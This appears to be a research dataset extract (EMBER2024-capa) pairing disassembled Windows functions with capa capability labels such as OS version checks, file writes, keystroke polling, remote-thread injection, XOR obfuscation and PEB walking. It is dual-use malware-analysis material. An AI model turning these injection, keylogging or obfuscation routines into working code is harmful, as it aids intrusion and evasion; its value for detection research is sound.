joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40960f
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x130
push ebx
push esi
push edi
mov edi, dword [sym.imp.i_GetVersionExA]
lea eax, [ebp - 0x1c]
push eax
mov ebx, 0xc8
mov dword [ebp - 0x1c], 0x94
call edi
test eax, eax
je 0x4096f8
mov eax, dword [ebp - 0xc]
dec eax
je 0x4096db
dec eax
jne 0x4096f8
lea eax, [ebp - 0xb8]
push eax
xor esi, esi
mov dword [ebp - 0xb8], 0x9c
call edi
test eax, eax
je 0x40966e
cmp byte [ebp - 0x1e], 1
jne 0x40966e
inc esi
mov eax, dword [ebp - 0x18]
sub eax, 3
je 0x4096d7
dec eax
je 0x4096d3
dec eax
je 0x4096b1
dec eax
jne 0x4096f8
mov eax, dword [ebp - 0x14]
sub eax, 0
je 0x4096a5
dec eax
je 0x409699
dec eax
jne 0x4096f8
neg esi
sbb esi, esi
and esi, 0xfffffffb
lea ebx, [esi + 0x5f]
jmp 0x4096f8
neg esi
sbb esi, esi
and esi, 0xfffffffb
lea ebx, [esi + 0x55]
jmp 0x4096f8
neg esi
sbb esi, esi
and esi, 0xfffffffb
lea ebx, [esi + 0x4b]
jmp 0x4096f8
mov eax, dword [ebp - 0x14]
sub eax, 0
je 0x4096cf
dec eax
je 0x4096cb
dec eax
jne 0x4096f8
neg esi
sbb esi, esi
and esi, 0xfffffffb
lea ebx, [esi + 0x41]
jmp 0x4096f8
push 0x3c
jmp 0x4096f7
push 0x32
jmp 0x4096f7
push 0x14
jmp 0x4096f7
push 5
jmp 0x4096f7
cmp dword [ebp - 0x14], 0
je 0x4096f5
cmp dword [ebp - 0x14], 0xa
je 0x4096f1
cmp dword [ebp - 0x14], 0x5a
jne 0x4096f8
push 0x28
jmp 0x4096f7
push 0x1e
jmp 0x4096f7
push 0xa
pop ebx
pop edi
pop esi
mov eax, ebx
pop ebx
add ebp, 0x78
leave
ret

Function at 0x40a661
Capabilities:
Log keystrokes via polling

Disassembly:
sub esp, 0xc
push ebx
push esi
push edi
call dword [0x4118cc]
mov esi, dword [0x4118ec]
mov edi, eax
mov bl, pe_nt_image_headers32
test edi, edi
je 0x40a6dd
push 9
call esi
test bl, al
je 0x40a6dd
push 0x11
call esi
test bl, al
jne 0x40a6dd
push 0x10
call esi
test bl, al
jne 0x40a6dd
push 0x12
call esi
test bl, al
jne 0x40a6dd
push 5
lea eax, [esp + 0x14]
push eax
push edi
call dword [0x4118e8]
push 4
lea eax, [esp + 0x14]
push 0x41041c
push eax
call fcn.0040ecb9
add esp, 0xc
test eax, eax
jne 0x40a6dd
push eax
push eax
push 0x44e
push edi
call dword [0x411810]
test eax, 0x800
jne 0x40a6dd
xor eax, eax
jmp 0x40a75f
push ebp
mov ebp, dword [esp + 0x20]
test ebp, ebp
je 0x40a706
push 0x11
call esi
test bl, al
jne 0x40a6fe
push 0x10
call esi
test bl, al
jne 0x40a6fe
push 0x12
call esi
test bl, al
je 0x40a706
push 1
push ebp
call fcn.0040a61a
mov esi, dword [0x411884]
test edi, edi
je 0x40a71c
push str.PB_Hotkey
push edi
call esi
test eax, eax
jne 0x40a75c
push str.PB_WindowID
push ebp
call esi
mov esi, eax
test esi, esi
je 0x40a75c
lea eax, [esp + 0x10]
push eax
push ebp
call dword [0x411818]
test eax, eax
je 0x40a75c
call dword [sym.imp.i_GetCurrentProcessId]
cmp dword [esp + 0x10], eax
jne 0x40a75c
dec esi
push esi
push dword [0x412b30]
call fcn.0040d59a
test eax, eax
je 0x40a75c
mov eax, dword [eax + 8]
jmp 0x40a75e
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 0xc
ret 4
Function at 0x40a821
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x94
push edi
push str.msimg32.dll
call dword [sym.imp.i_LoadLibraryA]
xor edi, edi
mov dword [0x412a04], eax
cmp eax, edi
je 0x40a854
push str.AlphaBlend
push eax
call dword [sym.imp.i_GetProcAddress]
mov dword [0x412a08], eax
lea eax, [ebp - 0x1c]
push eax
mov dword [0x412a00], 1
mov dword [ebp - 0x1c], 0x94
call dword [sym.imp.i_GetVersionExA]
test eax, eax
je 0x40a892
cmp dword [ebp - 0xc], 1
je 0x40a8a3
cmp dword [ebp - 0xc], 2
jne 0x40a892
cmp dword [ebp - 0x18], 5
jb 0x40a8a3
jne 0x40a892
cmp dword [ebp - 0x14], edi
jne 0x40a892
mov dword [0x412a00], edi
cmp dword [0x412a00], edi
je 0x40a8a9
call fcn.0040a768
test eax, eax
jne 0x40a8a9
mov dword [0x412a00], edi
pop edi
add ebp, 0x78
leave
ret

Function at 0x40b488
Capabilities:
Delete file
Set file attributes

Disassembly:
cmp dword [esp + 4], 0
je 0x40b4b1
test byte [esp + 8], 2
je 0x40b4a5
push pe_nt_image_headers32
push dword [esp + 8]
call dword [sym.imp.i_SetFileAttributesA]
push dword [esp + 4]
call dword [sym.imp.i_DeleteFileA]
jmp 0x40b4b3
xor eax, eax
ret 8

Function at 0x40b4c4
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
cmp dword [ebp + 8], 0
je 0x40b534
push 0x104
push dword [ebp + 8]
lea eax, [ebp - 0x108]
push eax
call fcn.0040ecc5
lea eax, [ebp - 0x108]
push eax
mov byte [ebp - 4], 0
call fcn.0040ecdd
add esp, 0x10
lea eax, [ebp + eax - 0x108]
jmp 0x40b516
mov dl, byte [eax - 1]
cmp dl, 0x20
je 0x40b515
cmp dl, 0x5c
je 0x40b515
cmp dl, 0x2f
jne 0x40b520
dec eax
lea ecx, [ebp - 0x108]
cmp eax, ecx
ja 0x40b503
mov byte [eax], 0
push 0
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.i_CreateDirectoryA]
jmp 0x40b536
xor eax, eax
leave
ret 4

Function at 0x40b6d0
Capabilities:
Write file on windows

Disassembly:
push ecx
push esi
mov esi, dword [esp + 0xc]
xor eax, eax
mov dword [esp + 4], eax
cmp dword [esi + 0x14], eax
jne 0x40b705
mov ecx, dword [esi + 8]
sub ecx, dword [esi + 0xc]
mov edx, dword [esi + 4]
push eax
lea eax, [esp + 8]
push eax
mov eax, dword [esi]
push ecx
push edx
push eax
call dword [sym.imp.i_WriteFile]
mov ecx, dword [esi + 8]
mov eax, dword [esp + 4]
mov dword [esi + 0xc], ecx
pop esi
pop ecx
ret 4

Function at 0x40bab0
Capabilities:
Write file on windows

Disassembly:
push ecx
push edi
mov edi, dword [esp + 0x10]
xor eax, eax
mov dword [esp + 4], eax
test edi, edi
je 0x40bb09
push esi
mov esi, dword [esp + 0x18]
test esi, esi
je 0x40bb08
mov eax, dword [esp + 0x10]
mov ecx, dword [0x412bd0]
push eax
push ecx
call fcn.0040d59a
test eax, eax
je 0x40bb04
cmp dword [eax + 4], 0
je 0x40baf2
push esi
push edi
push eax
call fcn.0040bc70
pop esi
pop edi
pop ecx
ret 0xc
mov eax, dword [eax]
push 0
lea edx, [esp + 0xc]
push edx
push esi
push edi
push eax
call dword [sym.imp.i_WriteFile]
mov eax, dword [esp + 8]
pop esi
pop edi
pop ecx
ret 0xc
Function at 0x40bb10
Capabilities:
Write file on windows

Disassembly:
push ecx
push esi
mov esi, dword [esp + 0x10]
xor eax, eax
mov dword [esp + 4], eax
test esi, esi
je 0x40bb57
cmp byte [esi], al
je 0x40bb57
mov eax, dword [esp + 0xc]
mov ecx, dword [0x412bd0]
push eax
push ecx
call fcn.0040d59a
test eax, eax
je 0x40bb85
cmp dword [eax + 4], 0
mov ecx, esi
push edi
lea edi, [ecx + 1]
je 0x40bb60
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x40bb45
sub ecx, edi
push ecx
push esi
push eax
call fcn.0040bc70
pop edi
pop esi
pop ecx
ret 8
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x40bb60
mov eax, dword [eax]
push 0
lea edx, [esp + 0xc]
push edx
sub ecx, edi
push ecx
push esi
push eax
call dword [sym.imp.i_WriteFile]
mov eax, dword [esp + 8]
pop edi
pop esi
pop ecx
ret 8
mov eax, dword [esp + 4]
pop esi
pop ecx
ret 8

Function at 0x40bb90
Capabilities:
Write file on windows

Disassembly:
sub esp, 8
mov eax, dword [esp + 0xc]
mov ecx, dword [0x412bd0]
push esi
push eax
push ecx
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
call fcn.0040d59a
mov esi, eax
test esi, esi
je 0x40bc57
mov ecx, dword [esp + 0x14]
push ebp
mov ebp, dword [sym.imp.i_WriteFile]
test ecx, ecx
je 0x40bc0f
cmp byte [ecx], 0
je 0x40bc0f
cmp dword [esi + 4], 0
mov eax, ecx
push edi
lea edi, [eax + 1]
je 0x40bbf7
nop
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x40bbe0
sub eax, edi
push eax
push ecx
push esi
call fcn.0040bc70
mov dword [esp + 0xc], eax
jmp 0x40bc0e
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x40bbf7
push 0
lea edx, [esp + 0x10]
push edx
sub eax, edi
push eax
mov eax, dword [esi]
push ecx
push eax
call ebp
pop edi
cmp dword [esi + 4], 0
je 0x40bc32
push 2
push 0x410504
push esi
call fcn.0040bc70
mov ecx, eax
mov eax, dword [esp + 8]
pop ebp
add eax, ecx
pop esi
add esp, 8
ret 8
mov edx, dword [esi]
push 0
lea ecx, [esp + 0x10]
push ecx
push 2
push 0x410504
push edx
call ebp
mov ecx, dword [esp + 0xc]
mov eax, dword [esp + 8]
pop ebp
add eax, ecx
pop esi
add esp, 8
ret 8
mov eax, dword [esp + 4]
pop esi
add esp, 8
ret 8
Function at 0x40bc70
Capabilities:
Write file on windows

Disassembly:
push ecx
push esi
mov esi, dword [esp + 0xc]
cmp dword [esi + 0x14], 1
push edi
mov dword [esp + 8], 0
jne 0x40bca5
mov eax, dword [esi + 0xc]
mov ecx, dword [esi]
push 1
push 0
neg eax
push eax
push ecx
call dword [sym.imp.i_SetFilePointer]
mov edx, dword [esi + 8]
mov dword [esi + 0x14], 0
mov dword [esi + 0xc], edx
mov ecx, dword [esi + 0xc]
mov edi, dword [esp + 0x18]
cmp ecx, edi
jle 0x40bd1a
mov eax, dword [esi + 8]
add eax, dword [esi + 4]
sub eax, ecx
mov ecx, edi
dec ecx
je 0x40bd07
dec ecx
je 0x40bcf2
sub ecx, 2
je 0x40bcdf
mov ecx, dword [esp + 0x14]
push edi
push ecx
push eax
call fcn.0040ece9
add esp, 0xc
sub dword [esi + 0xc], edi
mov eax, edi
pop edi
pop esi
pop ecx
ret 0xc
mov edx, dword [esp + 0x14]
mov ecx, dword [edx]
mov dword [eax], ecx
sub dword [esi + 0xc], edi
mov eax, edi
pop edi
pop esi
pop ecx
ret 0xc
mov edx, dword [esp + 0x14]
mov cx, word [edx]
mov word [eax], cx
sub dword [esi + 0xc], edi
mov eax, edi
pop edi
pop esi
pop ecx
ret 0xc
mov edx, dword [esp + 0x14]
mov cl, byte [edx]
mov byte [eax], cl
sub dword [esi + 0xc], edi
mov eax, edi
pop edi
pop esi
pop ecx
ret 0xc
push esi
call fcn.0040b6d0
mov eax, dword [esi + 8]
cmp edi, eax
jl 0x40bd47
mov eax, dword [esp + 0x14]
mov ecx, dword [esi]
push 0
lea edx, [esp + 0xc]
push edx
push edi
push eax
push ecx
call dword [sym.imp.i_WriteFile]
mov eax, dword [esp + 8]
pop edi
pop esi
pop ecx
ret 0xc
mov ecx, dword [esi + 4]
sub ecx, dword [esi + 0xc]
mov edx, dword [esp + 0x14]
push edi
push edx
add ecx, eax
push ecx
call fcn.0040ece9
add esp, 0xc
sub dword [esi + 0xc], edi
mov eax, edi
pop edi
pop esi
pop ecx
ret 0xc
Function at 0x40c990
Capabilities:
Encode data using xor
Hash data with crc32
Read file on windows

Disassembly:
sub esp, 0x14
mov eax, dword [esp + 0x18]
push ebx
push esi
or esi, 0xffffffff
xor ebx, ebx
mov dword [esp + 8], 0x80000
test eax, eax
je 0x40cb9e
push edi
push ebx
push pe_nt_image_headers32
push 3
push ebx
push 1
push 0x80000000
push eax
call dword [sym.imp.i_CreateFileA]
mov edi, eax
mov dword [esp + 0x1c], edi
cmp edi, 0xffffffff
je 0x40cb9d
mov eax, dword [0x412454]
push ebp
push 0x80000
push ebx
push eax
call dword [sym.imp.i_HeapAlloc]
mov ebp, eax
test ebp, ebp
je 0x40cb95
cmp dword [esp + 0x30], ebx
jl 0x40ca11
mov eax, dword [esp + 0x2c]
jg 0x40ca02
test eax, eax
je 0x40ca11
push 0
lea ecx, [esp + 0x34]
push ecx
push eax
push edi
call dword [sym.imp.i_SetFilePointer]
mov edx, dword [esp + 0x34]
add edx, 0x80000
mov dword [esp + 0x28], edx
jmp 0x40ca25
mov ebx, dword [esp + 0x14]
mov eax, dword [esp + 0x34]
mov ecx, dword [esp + 0x38]
sub dword [esp + 0x28], 0x80000
add ebx, 0x80000
and eax, ecx
mov dword [esp + 0x14], ebx
cmp eax, 0xffffffff
je 0x40ca5d
mov eax, ebx
cdq
cmp edx, ecx
jl 0x40ca5d
jg 0x40ca55
cmp eax, dword [esp + 0x34]
jbe 0x40ca5d
mov ecx, dword [esp + 0x28]
mov dword [esp + 0x10], ecx
mov eax, dword [esp + 0x10]
push 0
lea edx, [esp + 0x1c]
push edx
push eax
push ebp
push edi
call dword [sym.imp.i_ReadFile]
mov ebx, dword [esp + 0x18]
mov eax, ebp
mov edx, ebx
cmp ebx, 8
jb 0x40cb5c
mov edi, ebx
shr edi, 3
jmp 0x40ca90
movzx ecx, byte [eax]
xor ecx, esi
and ecx, 0xff
mov dword [esp + 0x1c], ecx
mov ecx, esi
mov esi, dword [esp + 0x1c]
shr ecx, 8
xor ecx, dword [esi*4 + 0x410550]
movzx esi, byte [eax + 1]
xor esi, ecx
and esi, 0xff
shr ecx, 8
xor ecx, dword [esi*4 + 0x410550]
movzx esi, byte [eax + 2]
xor esi, ecx
and esi, 0xff
shr ecx, 8
xor ecx, dword [esi*4 + 0x410550]
movzx esi, byte [eax + 3]
xor esi, ecx
and esi, 0xff
shr ecx, 8
xor ecx, dword [esi*4 + 0x410550]
movzx esi, byte [eax + 4]
xor esi, ecx
and esi, 0xff
shr ecx, 8
xor ecx, dword [esi*4 + 0x410550]
movzx esi, byte [eax + 5]
xor esi, ecx
and esi, 0xff
shr ecx, 8
xor ecx, dword [esi*4 + 0x410550]
movzx esi, byte [eax + 6]
xor esi, ecx
and esi, 0xff
shr ecx, 8
xor ecx, dword [esi*4 + 0x410550]
movzx esi, byte [eax + 7]
xor esi, ecx
and esi, 0xff
shr ecx, 8
xor ecx, dword [esi*4 + 0x410550]
add eax, 8
sub edx, 8
dec edi
mov esi, ecx
jne 0x40ca90
mov edi, dword [esp + 0x20]
test edx, edx
je 0x40cb79
movzx ecx, byte [eax]
xor ecx, esi
and ecx, 0xff
shr esi, 8
xor esi, dword [ecx*4 + 0x410550]
inc eax
dec edx
jne 0x40cb60
cmp ebx, 0x80000
je 0x40ca21
mov edx, dword [0x412454]
push ebp
push 0
push edx
call dword [sym.imp.i_HeapFree]
push edi
call dword [sym.imp.i_CloseHandle]
pop ebp
pop edi
mov eax, esi
pop esi
not eax
pop ebx
add esp, 0x14
ret 0x14

Function at 0x40cbd0
Capabilities:
Hash data with md5

Disassembly:
mov eax, dword [esp + 4]
xor ecx, ecx
mov dword [eax + 0x14], ecx
mov dword [eax + 0x10], ecx
mov dword [eax], 0x67452301
mov dword [eax + 4], 0xefcdab89
mov dword [eax + 8], 0x98badcfe
mov dword [eax + 0xc], 0x10325476
ret
Function at 0x10003a70
Capabilities:
Create thread

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xb0
push esi
push edi
push 0xa0
xor esi, esi
lea eax, [esp + 0x1c]
push esi
push eax
call sub.ntdll.dll_memset
mov eax, dword [ebp + 8]
add esp, 0xc
mov dword [esp + 0x18], eax
mov eax, 0x1000
mov word [esp + 0xb0], ax
lea eax, [esp + 0xc]
mov dword [esp + 0x44], eax
lea eax, [esp + 0x18]
push eax
mov dword [esp + 0x4c], 0xc
call dword [sym.imp.KERNEL32.dll_GetNextVDMCommand]
test eax, eax
je 0x10003b09
push dword [esp + 0xc]
push esi
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
test edi, edi
je 0x10003b09
lea eax, [esp + 8]
push eax
movzx eax, word [ebp + 0xc]
push esi
push eax
push dword [esp + 0x20]
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test eax, eax
je 0x10003b02
push eax
inc esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret 8

Function at 0x1000947a
Capabilities:
Encode data using xor

Disassembly:
call 0x100093f3
sub bl, byte [ebx]
mov eax, 0x64f7f691
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
cld
test edx, ebx
or eax, dword [ebx - 0x178f73c]
xor esi, 0xde5af04
add eax, esi
lea esp, [esp - 0xe]
mov esi, dword [esp + 0xe]
lea esp, [esp + 0x12]
xor esi, dword [esp]
push eax
sub eax, 0xf24f2b00
mov eax, esp
or dword [eax - 0x22], ebx
pop eax
jmp 0x10009423
xor dword [esp], esi
xor eax, 0
mov dword [esp], esi
add esp, 4
add esi, dword [ebp + 8]
push ebp
add ebp, 0xc
mov ecx, dword [ebp]
pop ebp
ja 0x1000943f
xor edx, 0
jmp 0x1000944a
xor edx, edx
jmp 0x10009461
jmp 0x1000946d
xor eax, eax
push 0x8427d7c0
call 0x1000947a
stc
add esp, 8
add esi, 0
cmp ecx, 0
je 0x100094b6
mov ebx, dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
add bl, dl
xor byte [esi], bl
mov dl, byte [esi]
inc esi
add ebx, edi
rol ebx, 8
dec ecx
jne 0x1000948f
lea esp, [esp - 4]
xchg dword [esp], ebx
mov ebx, dword [esp]
or eax, edx
xor eax, eax
add eax, dword [esp]
add esp, 4
pop esi
pop edi
pop ebx
xchg dword [esp], ecx
mov dword [esp], ecx
lea esp, [esp + 4]
pop edx
leave
je 0x100094cd
add eax, 0
jno 0x100094d2
add esi, 0
ret 0x10
Function at 0x1000a23b
Capabilities:
Encode data using xor

Disassembly:
lea esp, [esp - 0x63]
mov dword [esp + 0x5f], ebx
lea esp, [esp + 0x5f]
mov ebx, 0x8dff8662
xchg dword [esp], ebx
and dword [esp], ebp
jmp 0x1000a25d
add ebx, 0
or dword [esp], ebp
mov ebp, esp
push eax
push edi
lea esp, [esp - 4]
xchg dword [esp], ecx
pop ecx
lea esp, [esp - 4]
mov edi, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
cmp edi, dword [ebp + 0x14]
ja 0x1000a3ff
cmp edi, dword [ebp + 0x10]
jb 0x1000a3ff
lea esi, [esi]
sub esi, 0
push dword [ebp + 0x14]
push dword [ebp + 0x10]
sub esp, 0x6a
mov dword [esp + 0x66], 0xc2ccbc3c
add esp, 0x66
mov dword [esp], edi
or edi, 0xffffffff
and edi, 0xcedcf875
xor edi, 0xce9c140e
xchg dword [esp], edi
push edx
mov edx, esp
xor edx, 0
add edx, 0
push ebx
lea ebx, [edx + 4]
mov dword [ebx], eax
pop ebx
pop edx
push edi
call fcn.10009d27
inc edi
jmp 0x1000a2e6
jmp 0x1000a2f3
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push edi
call fcn.10009d27
inc edi
and dword [esp - 0x4e], ecx
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push edi
call fcn.10009d27
inc edi
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push 0
sub esi, 0
add dword [esp], edx
xor edx, edx
je 0x1000a347
sub bl, byte [ebx]
mov eax, 0x64f7f691
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
cld
test edx, ebx
or edx, 0x13e27bd2
push ebx
add ebx, esi
mov ebx, esp
xor dword [ebx - 0x2a], edi
fdiv qword [ecx]
jnp 0x1000a32b
pop ebx
xor edx, 0x1b7d0cc
add edx, 0xedeb415d
xchg dword [esp], edx
push edx
mov edx, esp
call int.1000a375
add dword [eax], 0x39
jle 0x1000a351
sub al, 0xf5
mov ch, al
call fcn.1000a38a
mov dword [edi], eax
pop ecx
pop edi
pop eax
leave
ret 0x10

Function at 0x1000c062
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push ecx
push edx
push 0
sub esi, esi
shr esi, 9
and dword [esp - 0x69], ebx
jbe 0x1000c078
add edi, 0
shr esi, 0x17
or esi, dword [esp]
add esp, 4
add esi, dword [ebp + 8]
xor eax, eax
xor edx, edx
cld
and dword [esp - 0x46], edx
xor ecx, ecx
rol edx, 7
and dword [esp - 0x4b], edx
xor dl, al
mov al, byte [esi]
inc esi
or al, al
jne 0x1000c089
mov eax, edx
pop edx
pop ecx
pop esi
mov esp, ebp
mov ebp, dword [esp]
add esp, 4
push 0x54
call fcn.1000c0ca
std
inc ebx
sar cl, 0x3e
lahf
in al, dx
mov ch, 0x4a
mov ebx, 0x971631d8
test byte [ebp - 0x5e], ch
xor eax, dword [ebx + 0x2b5108c4]
add esp, 8
push ecx
sub ecx, eax
mov ecx, esp
cmp dword [ecx - 0x51], edx
Function at 0x1000e436
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 0xffffffffffffffff
push esi
mov esi, esp
xor dword [esp - 0x43], esi
xor dword [esp - 0x45], esi
and dword [esi + 4], eax
pop esi
push 0
ja 0x1000e37f
add ebx, 0
push ecx
call 0x1000e394
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
add esp, 8
xor dword [esp], ebx
sub esp, 0x6b
mov dword [esp + 0x67], edx
add esp, 0x67
push ecx
push 0
xor dword [esp - 0x56], edx
xor edi, 0
add dword [esp], edi
push esi
mov ebx, 0x6c081312
sub ebx, dword [0x6c0a0b51]
mov dword [ebp - 8], ebx
xchg esi, eax
push 0x6c0a0b41
call fcn.10009e5e
xchg esi, eax
add esi, ebx
mov edx, dword [ebp + 8]
sub edx, ebx
call fcn.1000936c
mov edi, eax
mov eax, dword [esi + 8]
xor dword [esp - 0x69], edx
xor ebx, 0
xor eax, edi
cmp edx, eax
jb 0x1000e4f2
mov eax, dword [esi + 0xc]
xor eax, edi
cmp edx, eax
ja 0x1000e4f2
mov ecx, dword [esi + 0x10]
sub dword [esp - 0x34], ebx
xor ecx, edi
mov edx, dword [esi + 0x14]
xor edx, edi
shl edx, 2
add edx, 0x18
mov eax, dword [esi]
xor eax, edi
cmp eax, 1
je 0x1000e4a9
mov eax, 1
lock xchg dword [0x6c0a0b4d], eax
push 0x3dd1fc71
call 0x1000e436
push esi
add esp, 8
cmp eax, 0
jne 0x1000e41f
push edx
mov eax, edi
xor byte [esi + edx], al
inc edx
dec ecx
jne 0x1000e445
pop edx
mov eax, dword [esi + 0x14]
xor eax, edi
js 0x1000e45a
cmp ecx, edx
cmp eax, 0
je 0x1000e47f
mov dword [ebp - 4], eax
lea ecx, [esi + 0x18]
mov eax, dword [esi + ecx]
xor eax, edi
add eax, edx
add dword [esi + eax], ebx
add ecx, 4
dec dword [ebp - 4]
jne 0x1000e469
mov eax, 1
mov dword [esp - 0x1a], eax
push 0x8ae1b7eb
call fcn.1000e498
dec eax
loope 0x1000e49b
invalid
xor eax, edi
mov dword [esi], eax
mov dword [0x6c0a0b4d], 0
add edx, esi
mov dword [ebp + 4], edx
xchg dword [esp], esi
push ecx
lea ecx, [edi - 0x72d1f741]
mov ecx, esp
mov dword [ecx - 0x15], ebx
pop ecx
push esi
xor esi, esi
mov esi, esp
and dword [esi - 0x1d], ecx
pop esi
mov dword [esp], esi
jb 0x1000e4cf
xor edx, 0
add esp, 4
pop edi
pop ecx
pop edx
pop ebx
pop eax
leave
jmp 0x1000e4e4
jmp 0x1000e4ef
ret 4
mov eax, dword [esi + 4]
xor eax, edi
add esi, eax
jmp 0x1000e3dd
Function at 0x10015557
Capabilities:
Access peb ldr_data

Disassembly:
add esp, 8
and dword [esp], ebx
push ecx
push edx
push edi
push esi
or edi, 0xffffffff
not edi
add edi, dword [ebp + 8]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov ecx, dword [eax + 0xc]
push ecx
xor edx, edx
mov ecx, dword [ecx]
cmp ecx, dword [esp]
je 0x1001582d
push ebp
push 0xffffffffffffffff
sub esp, 0x32
mov dword [esp + 0x2e], 0x6c08d7c5
add esp, 0x2e
sub esp, 4
mov dword [esp], 0x6c08478b
push 0xffffffffffffffff
call fcn.1000c757
xchg edx, eax
and eax, 0
add eax, 0x75d46dc4
push ecx
and ecx, 0xcfb6d7ec
mov ecx, esp
mov dword [ecx - 0x54], esi
pop ecx
ja 0x100155c1
and eax, eax
xchg edx, eax
mov edx, dword [ecx + edx - 0x75d46dac]
call fcn.100155d9
mov byte [0xee69f033], al
invalid
mov eax, ecx
pop esi
mov edi, dword [esp]
add esp, 4
pop edx
xor ecx, ecx
add ecx, 0xffffffff
and ecx, dword [esp]
xor ecx, 0
add esp, 4
pop ebx
mov esp, ebp
mov ebp, dword [esp]
add esp, 4
jno 0x10015821
xor eax, 0
ret 4
xor ecx, ecx
jmp 0x100157f5
Function at 0x10025027
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x10025049
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x10025049
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x10025049
ret
cmp word [ebx + 4], 0x14c
jne 0x10025049
test word [ebx + 0x16], 2
je 0x10025049
test word [ebx + 0x16], 0x100
je 0x10025049
cmp word [ebx + 0x18], 0x10b
jne 0x10025049
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x10025049
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x100250d5
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x10025069
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.1000bfb4
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x10025049
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8

Function at 0x100250d5
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x10025049
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x10025049
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x10025049
ret
cmp word [ebx + 4], 0x14c
jne 0x10025049
test word [ebx + 0x16], 2
je 0x10025049
test word [ebx + 0x16], 0x100
je 0x10025049
cmp word [ebx + 0x18], 0x10b
jne 0x10025049
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x10025049
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x100250d5
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x10025069
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.1000bfb4
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x10025049
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8